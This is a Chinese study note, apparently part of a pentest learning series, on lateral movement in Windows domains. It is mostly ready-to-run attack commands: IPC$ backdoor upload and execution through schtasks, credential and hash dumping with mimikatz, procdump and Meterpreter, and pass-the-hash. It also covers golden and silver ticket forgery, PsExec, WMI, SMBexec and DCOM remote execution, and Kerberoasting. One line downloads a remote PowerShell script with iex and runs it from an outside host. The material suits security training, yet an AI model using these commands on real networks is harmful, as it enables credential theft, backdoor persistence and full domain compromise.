内网安全学习笔记-Ⅴ:域内横向移动

这是第五章的学习记录汇总…

域内横向移动再内网攻击中被广泛使用,尤其是在APT 高级持续威胁。

攻击者利用横向移动,以被攻陷主机为跳板,访问其它域内主机 以扩大资产范围,包括包括跳板机器中的文档和存储的凭证、跳板机的数据库连接信息、域控及其它重要资产。

一、常用Windows远程连接(IPC$)和相关命令

场景:已经获取到目标主机用户明文密码,网络环境较为苛刻,可以用Windows自带工具IPC建立远程连接。

IPC(Internal Process Connection,空连接)共享“命名管道”资源,能够查看远程主机的共享资源。通过ipc可以与目标主机建立连接,从而访问、上传或下载目标主机的文件及运行其它命令。

使用方法:

1
2
3
4
# 建立一个连接
net use \\192.168.111.80\ipc$ /user:administrator "passwd"
# 查看当前连接
net use

image-20210202194230744

IPC连接常见错误提示:

1
2
3
4
5
6
7
8
错误号5:拒绝访问(本地权限问题)
错误号51:无法找到网络路径(网络问题)
错误号53:找不到网络路径(IP地址错误、目标未开机、目标有防火墙等)
错误号67:找不到网络名(服务未启动、IPC$已被删除)
错误号1219:提供的凭据与已存在的凭据冲突
错误号1326:用户名或密码错误
错误号1792:目标网络服务未启动,包括Netlogon服务未启动(连接域控可能会出现)
错误号2242:密码已过期

利用条件:

开放了139、445端口;目标开启ipc$文件共享;已获取用户账号密码。

利用方法:

可以使用以下命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 列出目标c盘目录
dir \\193.168.111.80\c$
# 上传文件到目标主机
copy plugin_update.exe \\193.168.111.80\c$\windows\temp\plugin_update.exe
# 查看目标主机进程
TASKLIST /S 192.168.111.80 /U username /P password
# 查看目标主机时间
net time \\192.168.111.80
# 创建计划任务,适用于2008之前的系统
at \\192.168.111.80 1:00PM C:\plugin_update.exe
# 清除任务记录
at \\192.168.111.80 job_id /delete
# 创建计划任务,适用于2008以后的系统
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 193.168.111.80 /RU System /u administrator /p "passwd"
# 立即启动计划任务
schtasks /run /tn "plugin_update" /S 193.168.111.80 /u administrator /p "passwd"
# 删除计划任务
schtasks /F /delete /tn "plugin_update" /S 193.168.111.80 /u administrator /p "passwd"

利用IPC上传后门并执行:

1
2
3
4
5
6
7
8
9
10
11
12
# 首先建立连接
net use \\192.168.111.80\ipc$ /user:administrator "passwd"
# 查看目标机器时间
net time \\193.168.111.80
# 创建计划任务,任务名 plugin_update
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 13:00 /S 193.168.111.80 /RU System
# 也可以立即运行后门程序
schtasks /run /tn "plugin_update" /S 193.168.111.80
# 删除创建的任务
schtasks /F /delete /tn "plugin_update" /S 193.168.111.80
# 删除IPC
net use \\193.168.111.80 /del /y

二、Windows系统散列值获取

在Windows系统中通常使用两种方法对用户明文密码进行加密处理:LM HASH和NTLM HASH。

LM HASH全名LAN Manager Hash,是微软为了提高Windows系统安全性而采用的散列加密算法,本质是DES加密,LM HASH较容易被破解,从Windows2008开始系统默认禁用LM HASH,如果被禁用,一般用工具抓取的LM HASH值为aad3b435b51404eeaad3b435b51404ee(代表空值或禁用)。

MTLN HASH是微软为了提高安全性的同时保证兼容性而设计的加密算法,是基于MD4加密算法加密的。从Windows2003以后,Windows认证方式均为NTLM HASH。

Windows hash结构username:RID:LM-HASH:NT-HASH

利用条件:

System权限

利用工具及方法:

1、GetPass获取明文密码
2、PwDump7

可以获取系统所有账户的NTLM HASH,然后通过彩虹表破解hash或者用哈希传递的方法进行横向渗透

3、Mimikatz

mimikatz是一款c语言编写的轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN和Kerberos票据,也可以执行哈希传递、票据传递以及构建黄金票据(Golden Ticket)。

通过SAM和SYSTEM文件抓取密码

1
2
3
4
5
6
7
8
9
10
11
12
# 方法1
# 导出SAM和System文件
reg save HKLM\SAM same.hive
reg save HKLM\SYSTEM system.hive
# 使用mimikatz读取sam、system文件
lsadump::sam /sam:sam.hive /system:system.hive
# 方法2 :直接读取本地SAM文件,导出HASH信息
# 提升权限
privilege:debug
token::elevate
# 读取本地SAM获取NTLM HASH
lsadump::sam

使用mimikatz在线读取SAM文件

1
mimkatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

使用mimikatz离线读取lsass.dmp文件

lsass.exe进程:Local Security Authority Service、本地安全权限服务,用于本地安全和登录策略

1
2
3
4
5
6
# 使用微软官方提供的工具procdump导出lsass.dmp文件
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 使用mimikatz导出lsass.dmp文件中的密码散列值,如果出现switch to minidump表示加载成功
sekurlsa::minidump lsass.dmp
# 导出密码hash
sekurlsa::logonPasswords dull

使用Powershell进行hash dump

Nishang的Get-PassHashes.ps1可以导出hash

1
2
3
4
5
# 以管理员权限打开powershell,进入Nishang目录
Import-Module .\Get-PassHashes.ps1
Get-PassHashes
# 通过远程加载来执行
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.15.216:8888/Gather/Get-PassHashes.ps1');Get-PassHashes

使用MSF进行hash dump

1
2
3
4
5
6
7
8
9
10
hashdump
run hashdump
run post/windows/gather/smart_hashdump
# 除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv
tspkg
wdigest
kerberos
ssp

三、哈希传递(Pass-the-Hash,PTH)

从Windows Vista和Windows Server 2008版本开始,系统默认禁用LM HASH,因为在使用NTLM HASH进行身份认证时,不会使用明文密码,而是将明文密码通过系统API转化成HASH在进行对比认证,因此攻击者在获得密码哈希时就可以利用哈希传递来通过认证。

利用场景:

适用Windwos Server 2012 R2及之后的版本,因为默认内存不会记录明文密码;

拿到HASH不容易破解明文密码;

域内主机管理员用户名密码统一使用。

使用NTLM HASH进行哈希传递

如果已经获取到目标的用户名及NTLM HASH值,可以管理员身份运行以下命令进行hash传递。

可以用mimikatz进行hash传递

1
2
3
mimikatz "privilege::debug" "sekurlsa::pth" /user:administrator /domain:de1ay.com /ntlm:1d6cfe0d16ae931b73c59d7e0c089c0
# 获取后可以获取目录
dir \\dc\c$

image-20210205110806741

也可以用msf进行hash传递

1
2
3
4
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4

使用ASE-256密钥进行哈希传递

也可以使用mimikatz利用ASE-256密钥进行哈希传递,前提是本地安装了补丁KB2871997(但是如果安装了该补丁,会导致管理员权限无法使用PsExec、WMI、smbexec、schtasks、at,也无法使用远程主机的共享文件)

1
2
3
mimikatz "priviledeg::debug" "sekurlsa::pth" /user:administrator /domain:de1ay.com /aes256:5d37c27c9a06abee82a5aea3cf662834fd4318ad
# 获取后可以获取DC(主机名)目录
dir \\dc\c$

另外还有一点需要注意:更新该补丁后,发现无法使用常规的hash传递方法横向移动,但是administrator除外(SID是500),使用该账号仍然可以进行hash传递。

四、票据传递(Pass-the-Ticket,PTT)

Kerberos协议主要用于计算机网络的身份鉴别(Authentication), 其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据(ticket-granting ticket)访问多个服务,即SSO(Single Sign On)。由于在每个Client和Service 之间建立了共享密钥,使得该协议具有一定的安全性。Active Directory 域服务是域或林中的默认 Kerberos 实现所必需的。

Kerberos认证流程:

image-20210205151001780

  1. 使用用户的NTLM哈希和时间戳一起加密,将加密的结果发送到KDC进行身份验证的票据请求 (AS REQ) ;
  2. 域控(KDC)检查用户信息(登录限制, 组成员等) 并创建票证授权票证(TGT),,将TGT加密、签名并返回给用户(AS REP),只有域中的Kerberos服务(kbrtgt)才能打开和读取TGT数据 ;
  3. 用户请求票证授权服务票证时(TGS REQ),会将 TGT发送给DC,DC打开TGT并验证PAC校验和,验证通过之后,,复制TGT中的数据用于创建TGS票证;
  4. 使用目标服务账户的NTLM哈希对TGS进行加密,并将加密结果发送给用户(TGS REP) ;
  5. 用户连接到服务器托管的服务端口上发送TGS给 服务器(AP REQ),被托管的服务使用服务账户的哈希打开票证;
  6. 如果客户端需要进行相互间的身份验证就会执行这一步。

伪造TGT-黄金票据;伪造TGS->白银票据。

伪造黄金票据

参考链接:https://mp.weixin.qq.com/s/45pfuc31uQEnZRUPG0_-yw

黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,一般声称administrator。所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。

利用条件:
  1. krbtgt的hash
  2. 本地管理员权限
  3. 域的sid(普通用户的sid除去最后三位就是域的sid)
  4. 域内任意用户的本地管理员权限
利用方法:
1
2
3
4
5
6
7
8
# 清空已有票据
kerberos::purge
# 制作黄金票据
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-3763276348-88739081-2848684050 /krbtgt:d8d2ad72a119a8d418703f7a16580af6 /ticket:1.kirbi
# 加载黄金票据
kerberos::ptt 1.kirbi
# 检测成果
lsadump::dcsync /domain:test.com /user:krbtgt

伪造白银票据:

参考链接:https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/

  • 白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
  • 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务
  • 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
  • 攻击者需要服务帐户密码哈希值
  • TGS是伪造的,所以没有和TGT通信,意味着DC从验证过
  • 任何事件日志都在目标服务器上。
利用条件:
  1. 域名称
  2. 域的SID值
  3. 域中的Server服务器账户的NTLM-Hash
  4. 伪造的用户名,可以是任意用户名
  5. 目标服务器上面的kerberos服务
可利用的服务列表:
1
2
3
4
5
6
7
8
服务名称                    同时需要的服务
WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share CIFS
LDAP LDAP
Windows Remote Server RPCSS、LDAP、CIFS
利用方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
# 通过mimikatz查看当前域账号administrator的HASH值
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
sekurlsa::logonpasswords
# 使用mimikatz生成银票
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt
# 参数说明
/domain:当前域名称
/sidSID值,和金票一样取前面一部分
/target:目标主机,这里是OWA2010SP3.0day.org
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:目标主机的HASH值,NTLM hash
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用kerberos::ptt来导入

五、PsExec

PsExec起初被用于大批量Windiows主机的运维,是微软提供的工具,尤其在域环境下的应用,后来被攻击者广泛使用。通过psexec可以在远程目标执行命令并且可以提权到system,其原理是通过IPC管道在远程目标机器创建一个psexec服务,并在本地磁盘中生成一个名为psexesvc的二进制文件,然后通过服务运行命令并在运行结束后删除服务。

使用注意:

  1. 使用psexec时要保证远程目标开启了admin$共享(net share admin$)
  2. 在使用ipc$连接后无需在输入账密
  3. 使用psexec执行命令会创建服务,执行完成被自动删除,会产生大量日志
  4. 使用psexec可以获取system权限的交互式shell
  5. 随着应用广泛,越来越多的反病毒厂商开始将其加入黑名单

使用方法:

1
2
3
4
5
# 获取system权限的交互shell,前提是获取了一个ipc$管道;-accepteula使用该参数不会弹出确认框、-s获取system权限
psexec.exe -accepteula \\192.168.111.130 -s cmd.exe
# 未建立ipc$管道,可以使用账密连接
psexec \\192.168.111.130 -u domain\administrator -p passwd cmd.exe
psexec \\192.168.111.130 -u domain\administrator -p passwd cmd.exe /c "ipconfig"

msf的psexec模块

1
2
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh #psexec的powershell版本

六、WMI

WMI(Windows Management Instrumentation)由一系列工具组成,可以在本地或者远程管理计算机。随着psexec在内网中被严格监控,攻击者开始逐渐用wmi在内网进行横向移动,使用wmi操作不会产生日志,相对来说隐蔽性更好。(使用过程中发现火绒会告警)

使用方法

1
2
3
4
5
6
7
8
9
10
# 基本命令:执行远程命令
wmic /node:192.168.111.130 /user:administrator /password:password process call create "cmd.exe /c ipconfig > ip.txt"

# impacket工具包中的wmiexec。python环境安装impacket
wmiexec.py administrator:password@192.168.111.120

# wmiexec.vbs脚本通过VBS调用WMI来模拟psexec
cscript.exe //nologo wmiexec.vbs /shell 192.168.111.130 administrator password ["ipconfig"]

# 另外还有PowerSploit自带的Invoke-WmiCommand.ps1脚本和Powershell自带的Invoke-WMIMethod也可以使用

七、SMBexec

smbexec通过文件共享(admin$、C$、IPC$、D$)在远程目标执行命令。

C++版本下载地址:https://github.com/sunorr/smbexec

python版本-impacket工具包的smbexec.py

可以使用impacket的exec版本:https://github.com/maaaaz/impacket-examples-windows

image-20210220101907726

使用方法:

1
2
python smbexec.py -h
python smbexec.py domain/administrator:password@192.168.111.130

Linux跨Windows执行命令

下载链接:https://github.com/brav0hax/smbexec

使用方法:

1
2
3
4
5
# 下载安装
git clone https://github.com/brav0hax/smbexec.git
cd smbexec
chmod u+x install.sh && bash install.sh
# 功能

八、DCOM在远程系统中的使用

DCOM(分布式组件对象)是微软的一系列概念和程序接口。通过DCOM客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

使用方法:

获取DCOM程序列表
1
2
3
4
# powershell3.0以上版本(Windows Server 2012及以上系统)
get-ciminstance Win32_DCOMApplication
# Powershell2.0(win7、Windows Server 2008)
get-wmiobject -namespace root\cimv2 -class win32_domapplication

image-20210220104727240

使用DCOM执行任意命令
1
2
3
4
# 利用MMC20.Application接口在本地启动一个管理员权限的powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
# 执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

image-20210220105510711

使用DCOM在远程目标执行命令

目标:192.168.111.80

1
2
3
4
5
6
7
8
9
10
# 1、建立ipc$
net use \\192.168.111.80 "tst@123" /user:test
# 2、调用MMC20.Application执行命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.111.80"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
# 3、或者调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’执行远程命令
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.111.80")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)

九、SPN在域环境中的应用

在域环境中运行的大量应用包含各种资源,为资源合理分组、分类和再分配提供了便利,微软给各种资源分配了不同的服务主题名称(Service Principal Name,SPN)。

SPN扫描

对于域内置帐户默认注册了SPN,非内置帐户需要进行手动注册,并且域环境中的每台服务器都需要在kerberos身份验证中注册SPN,攻击者通过向域控查询请求需要的SPN,便可以知道SPN位置。因此通过SPN扫描就可以获取服务资源所在位置。

根据之前分析过的Kerberos协议,用户账密登录AD,域控对账密进行验证,验证通过后KDC会将服务授权票据(TGT)发给用户,用户使用TGT 访问资源。举个栗子,用户访问MYSQL服务,先向域控查询SYN为MYSQL的记录,找到记录后服务器与KDC进行通信,将KDC发放的TGT作为身份凭据发送给KDC进行验证,KDC解密验证成功后,由TGS将一张允许访问mysql spn的服务票据和对应spn服务地址发给用户,用户便可以访问MYSQL服务。

image-20210205151001780

SPN命令格式
1
2
3
4
5
6
SPN = serviceclass "/" hostname [":"port] ["/" servicename]
# 参数说明
serviceclass:服务组件名称
hostname:全限定域名,同时带有计算机名和域名
port:端口
servicename:服务的专有名称(DN)、objectGuid、Internet主机名或者权限定域名
常见SPN服务
1
2
3
4
5
6
7
8
# MSSQL服务
MSSQLvc/computer1.domain:1433
# Exchange服务
exchangeMDB/EXCAS01.pentest.com
# RDP服务
TEAMSERV/EXCAS01.pentest.com
# WSMan/WinRM/PSRemoting服务
WSMan/EXCAS01.pentest.com
使用powershell进行SPN扫描

powershell-ad-recon工具包提供了一系列服务与服务登录帐号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、Exchange、RDP、WinRM。

使用方法

1
2
3
4
5
6
# 扫描MSSQL服务
import-module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
# 扫描所有SPN信息
import-module .\Discover-PSInterestingServices
Discover-PSInterestingServices
使用Windows自带工具列出SPN信息
1
setspn -T domain -q */*

Kerberoast攻击

Kerberoast是一种针对Kerberos协议的攻击,通过 爆破TGS-REP 实现,在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC,如果获得这个TGS,我们可以尝试穷举口令,模拟加密过程,进行破解。

使用示例-破解mssql服务的票据:

请求SPN Kerberos票据

1
2
3
# 在powershell下输入以下命令。请求单个TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc\computer1.pentest.com"

导出票据并破解

1
2
3
4
# 在mimikatz执行命令,将内存中的票据导出,导出的票据会保存在当前目录的kirbi文件中
kerberos::list /export
# 使用Kerberosast脚本离线破解票据对应帐号的NTLM hashwordlist是字典
tgsrepcrack.py wordlist.txt test.kirbi